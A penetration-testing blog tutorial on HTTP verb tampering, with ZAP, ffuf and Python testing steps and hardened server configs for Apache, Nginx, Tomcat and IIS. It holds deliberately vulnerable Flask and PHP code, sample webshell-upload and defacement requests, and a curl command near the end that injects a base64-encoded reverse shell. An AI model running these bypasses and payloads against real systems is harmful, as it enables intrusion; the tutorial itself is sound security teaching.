HTTP Verb Testing
2024-06-21
INTRODUCTION
HTTP Verbs
Every HTTP request starts with a single word. 99% of the time, it’s either GET
or POST
. If you’ve ever programmed a REST API, perhaps you’ve also used PUT
and DELETE
. Here’s the request your browser made when visiting my website:
GET https://4wayhandshake.github.io/ HTTP/1.1
host: 4wayhandshake.github.io
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-GPC: 1
The full list of HTTP verbs is as follows:
Verb | Purpose |
---|---|
GET | Read a resource |
POST | Send some data |
PUT | Create a new resource |
DELETE | Delete existing resource |
HEAD | Get just the response header, no body |
PATCH | Partially modify a resource |
OPTIONS | Ask the server how it wants to be communicated with |
CONNECT | Ask to establish a tunnel to the requested resource |
TRACE | Request the server to reply to you what you just sent it |
TRACK | Same as TRACE |
Why is this important?
Some websites, web apps, or APIs will handle requests in ways they don’t intend when they’re send requests using unexpected HTTP verbs. This can end up being a security flaw. It is important to test “alternative” HTTP verbs because we may be able to leverage the programming/configuration flaws into a whole slew of bypasses.
Whether it’s due to misconfiguration or poor programming, what we’re testing for is a scenario where protective mechanisms are applied only for certain HTTP verbs, leaving other HTTP verbs unhindered.
Flask Example
Take the following terribly-written Flask server as an example. It should accept requests to /account
, and only “authenticate” the user if the user provides one of the allowed session IDs in POST
body session_id
parameter:
from flask import Flask, request, jsonify
HTTP_METHODS = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD', 'CONNECT', 'TRACE']
app = Flask(__name__)
# Hardcoded list of approved session IDs
APPROVED_SESSION_IDS = {"abc123", "def456", "ghi789"}
@app.route('/account', methods=HTTP_METHODS)
def account():
session_id = request.form.get('session_id')
if request.method == 'GET':
return jsonify({"error": "Method not allowed. Only POST /account is allowed."}), 405
elif request.method == 'POST':
if not session_id:
return jsonify({"error": "Unauthorized. Must provide session_id in request body."}), 403
if session_id not in APPROVED_SESSION_IDS:
return jsonify({"error": "Unauthorized. Session ID is not on the list."}), 403
return jsonify({"message": "ACCESS GRANTED. Here is all your account details"}), 200
if __name__ == '__main__':
app.run('127.0.0.1', 8000, debug=True)
Run the server locally:
python3 flask_test.py
This is the intended interaction with the server:
Looks good, right? We’ve granted access to the approved session ID, and denied it to the other one.
Let’s try that last request again, but use an unexpected HTTP verb:
The unauthorized session ID sneaks its way through!
🙄 I know, I know… this example is pretty contrived. The flawed logic is pretty obvious when you use Python.
However, the web is a diverse place, and some people are very sloppy programmers! It may seem silly, but this bug definitely exists in the wild.
TESTING
Identify the scenario
When do we try playing with this trick? It’s not efficient to start spraying HTTP verbs on all over the place whenever you enumerate a target. Instead, the time to attempt something like this is when our actions are denied by some kind of security mechanism (usually something running server-side).
Examples include:
- Denied SQL injection because of some regex
- Denied viewing account details when checking another user, via some IDOR
- Denied accessing an API endpoint because we didn’t provide the right API token
Using ZAP
Start off by proxying a request into ZAP. The easiest way is to issue a cURL request (like in the previous section) to the server, but also include a --proxy
argument. Use a request that will deny you the resource:
curl --proxy 127.0.0.1:8080 -X POST -d 'session_id=abc456' http://127.0.0.1:8000/account
Within ZAP, find the request in the History tab, right click it, and select “"Open in Requester Tab…”. Within the requester tab, you can freely modify the request and send it again:
When testing for HTTP verbs, it’s simplest to open a new request in the Requester tab, and copy-paste in the previous attempt. From there, you can use the Method dropdown menu to select a different HTTP verb:
Selecting a new HTTP verb may modify the request. In this case, I had to reset the content-type
header for the parameter to be accepted by the server.
From this, we can see that modifying the HTTP verb was enough to bypass the authorization check.
Using Ffuf
Testing alternative HTTP verbs is even easier using ffuf. Seclists has a good wordlist to start with, but it is too big for our purposes, so we will only use the first 11 lines:
WLIST=http_verbs.txt
head -n 11 /usr/share/seclists/Fuzzing/http-request-methods.txt > http_verbs.txt
ffuf -w $WLIST -u http://127.0.0.1:8000 -X FUZZ -d 'session_id=1337' -mc all
Now let’s try every HTTP verb against the /account
endpoint, providing a bogus session_id
:
ffuf -w $WLIST -u http://127.0.0.1:8000/account -X FUZZ -d 'session_id=1337' -r -c -mc all
If we only want to see positive results, filter out any HTTP 405
responses, or any containing the word “Unauthorized”:
ffuf -w $WLIST -u http://127.0.0.1:8000/account -X FUZZ -d 'session_id=1337' -r -c -mc all -fc 405 -fr 'Unauthorized'
I think using ffuf is a little easier than using ZAP (or Burp), as long as the request is quite simple. It’s really easy to construct the attack, and gives results that are very easy to read.
However, if the target uses extra protective mechanisms (ex. anti-CSRF tokens), then it’s easier to use something more fully-featured, like ZAP.
Using Python
The best library to use when making any kind of web requests is requests
.
Something really handy about requests
is that various aspects of an HTTP request are interchangable. For example, we can easily change from a POST request to a GET request by changing this…
data = {
'uid': uid,
'username': username
}
reset_response = s.post(f'{target}/reset.php', data=data)
…into this:
data = {
'uid': uid,
'username': username
}
reset_response = s.get(f'{target}/reset.php', params=data)
I.e just exchange post
for get
, and exchange data
for params
. This effectively transforms the following HTTP request…
POST http://target.tld HTTP/1.1
uid={uid}&username={username}
…into this:
GET http://target.tld?uid={uid}&username={username} HTTP/1.1
Super handy!
CAUSE: MISCONFIGURATION
Every major http server application has some way to completely eliminate HTTP verb vulnerabilities. However, the server administrators may have inadequate knowledge of how to use them, or may misconfigure the server from sheer human error.
Even though the technologies are very hardened, once again the point of failure is the human administrator. Everybody makes mistakes; some of these mistakes manifest themselves as security vulnerabilities 😁
Next I’ll show how four prominent types of webservers could be misconfigured to produce an HTTP verb vulnerability (and how to fix them). We’ll cover Apache, Nginx, Tomcat, and ASP.
Apache
<VirtualHost *:80>
DocumentRoot /var/www/html
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
A client could make whatever malicious requests they want, such as DELETE index.html
to deface the site:
DELETE /index.html HTTP/1.1
Host: attackme.tld
We can fix this by allow-listing only our intended HTTP verbs - in this case, GET
and POST
. In Apache, we can use the LimitExcept
clause:
<VirtualHost *:80>
DocumentRoot /var/www/html
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
<LimitExcept GET POST>
Require all denied
</LimitExcept>
</Directory>
</VirtualHost>
Only GET
and POST
requests will be allowed.
Nginx
server {
listen 80;
server_name attackme.tld;
root /var/www/html;
}
This configuration is wide open, just like the Apache example. A client could use any HTTP method maliciously - for example, they could upload a webshell:
PUT /webshell.php HTTP/1.1
Host: attackme.tld
To fix this, we again invoke an allow-list for only the desired HTTP methods:
server {
listen 80;
server_name example.com;
root /var/www/html;
location / {
limit_except GET POST {
deny all;
}
}
}
☝️ I know it says
deny all
, but should actually still be considered an “allow-list” because we’re using alimit_except
clause.
Tomcat
<web-app>
<servlet>
<servlet-name>example</servlet-name>
<servlet-class>tld.attackme.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>example</servlet-name>
<url-pattern>/example</url-pattern>
</servlet-mapping>
</web-app>
The main things that should catch your eye as a tester are:
- no HTTP methods are mentioned
- no roles are mentioned
Again, this opens up the server to requests by any HTTP method. The fix is conceptually the same as with Apache or Nginx - intruduce an allow-list:
<web-app>
<!-- ... same as above ... -->
<security-constraint>
<web-resource-collection>
<web-resource-name>Example</web-resource-name>
<url-pattern>/example</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>any</role-name>
</auth-constraint>
</security-constraint>
</web-app>
ASP.net (Microsoft IIS)
Here’s an example web.config
file that causes the server to listen for any HTTP method:
<configuration>
<system.webServer>
<security>
<requestFiltering>
<!-- Default configuration allows all verbs -->
</requestFiltering>
</security>
</system.webServer>
</configuration>
Once again, the solution is to apply an allow-list for the desired HTTP methods:
<configuration>
<system.webServer>
<security>
<requestFiltering>
<verbs>
<add verb="GET" allowed="true" />
<add verb="POST" allowed="true" />
<add verb="*" allowed="false" />
</verbs>
</requestFiltering>
</security>
</system.webServer>
</configuration>
CAUSE: SLOPPY CODE
Flask - broken logic example
My Python Flask server at the beginning of this article is a good example of how sloppy coding can lead to an HTTP verb vulnerability. In that example, I purposefully introduced a logical error into the handling of the /account
endpoint:
def account():
session_id = request.form.get('session_id')
if request.method == 'GET':
return jsonify({"error": "Method not allowed. Only POST /account is allowed."}), 405
elif request.method == 'POST':
if not session_id:
return jsonify({"error": "Unauthorized. Must provide session_id in request body."}), 403
if session_id not in APPROVED_SESSION_IDS:
return jsonify({"error": "Unauthorized. Session ID is not on the list."}), 403
return jsonify({"message": "ACCESS GRANTED. Here is all your account details"}), 200
There are two issues:
- inconsistent handling of cases in an if-else chain
- wrongly assumed that only
GET
andPOST
would ever be used
To fix (1), just write cleaner code. Follow whatever style guide your language or organization suggest. In my opinion, you should always have the “default” left as the final (implied) else
branch, and that default should always be the secure, no-risk option.
To fix (2), you can actually just clean up the code a little - remove the check for GET
entirely, and only check for POST
:
def account():
if request.method == 'POST':
session_id = request.form.get('session_id')
if not session_id:
return jsonify({"error": "Unauthorized. Must provide session_id in request body."}), 403
if session_id in APPROVED_SESSION_IDS:
return jsonify({"message": "ACCESS GRANTED. Here is all your account details"}), 200
return jsonify({"error": "Unauthorized. Session ID is not on the list."}), 403
return jsonify({"error": "Method not allowed. Only POST /account is allowed."}), 405
PHP - inconsistent reference to parameters
Consider a server running the following PHP script, called log.php
. It is supposed to accept a 6-digit user ID, then log that user ID into the file users.log
. Pretend this is an API endpoint GET /log.php?id=[user_id]
:
<?php
if(preg_match("/^[0-9]{6}$/", $_GET["id"])) {
$user = "user_" . $_REQUEST["id"];
$cmd = "echo $user >> users.log";
$output = system($cmd, $return_val);
if ($return_val === 0) {
echo(" :) User logged successfully");
header("HTTP/1.1 200 OK");
} else {
echo(" :( An error occurred!");
header("HTTP/1.1 500 Internal Server Error");
}
}else{
echo(" :| Only 6-digit user IDs are allowed");
header("HTTP/1.1 400 Bad Request");
}
?>
The regex looks good, and no info is leaked when we do the redirect… so what’s the problem?
The issue is due to referencing the id
parameter inconsistently 😱
In PHP, the
$_GET
variable is an array of the URL parameters, whereas the$_REQUEST
variable can also include parameters passed through the request body. Since the request body is parsed after the URL parameters, you can cause PHP to overwrite the URL parameter with the one provided in the request body! 😇
The above PHP allows any HTTP method, but it’s written as if it assumes only GET
will ever be used. Let’s demonstrate - run a local server:
php -S 127.0.0.1:8000
Now let’s try using it as it was intended:
Great, now let’s try sneaking a bad user ID through:
The contents of users.log
shows which parameter was actually logged:
user_123456
user_obviously_1337
🙄 Alright, that’s not good. But who cares about some stupid log file, right? How about something a little more impactful? Let’s say the malicious client sends in a request like this:
curl http://127.0.0.1:8000/log.php?id=123456 -d 'id=lulz;echo -n c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzkwMDAgMD4mMQ== | base64 -d | bash -i'
☝️ The blue tab is the PHP server running locally. The red tabs are simulating the activities of a malicious client attacking the PHP server remotely.
🙃 We can utilize the mishandling of HTTP verbs to sneak through to the underlying command injection vulnerability, and pop a reverse shell on the system!
CONCLUSION
HTTP verbs are part of every web request we make. Due to a lack of understanding, laziness, or plain human error, developers and administrators can introduce serious security flaws into their systems. We’ve seen how simple flaws in logic and server configuration can cause these vulnerabilities, but also discussed how to fix them. From the penetration tester perspective, we’ve also outlined how to approach the testing for HTTP verb vulnerabilities from a couple of different perspectives.
Whether you’re a tester, a developer, or an administrator, I hope you’ve found this useful!
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake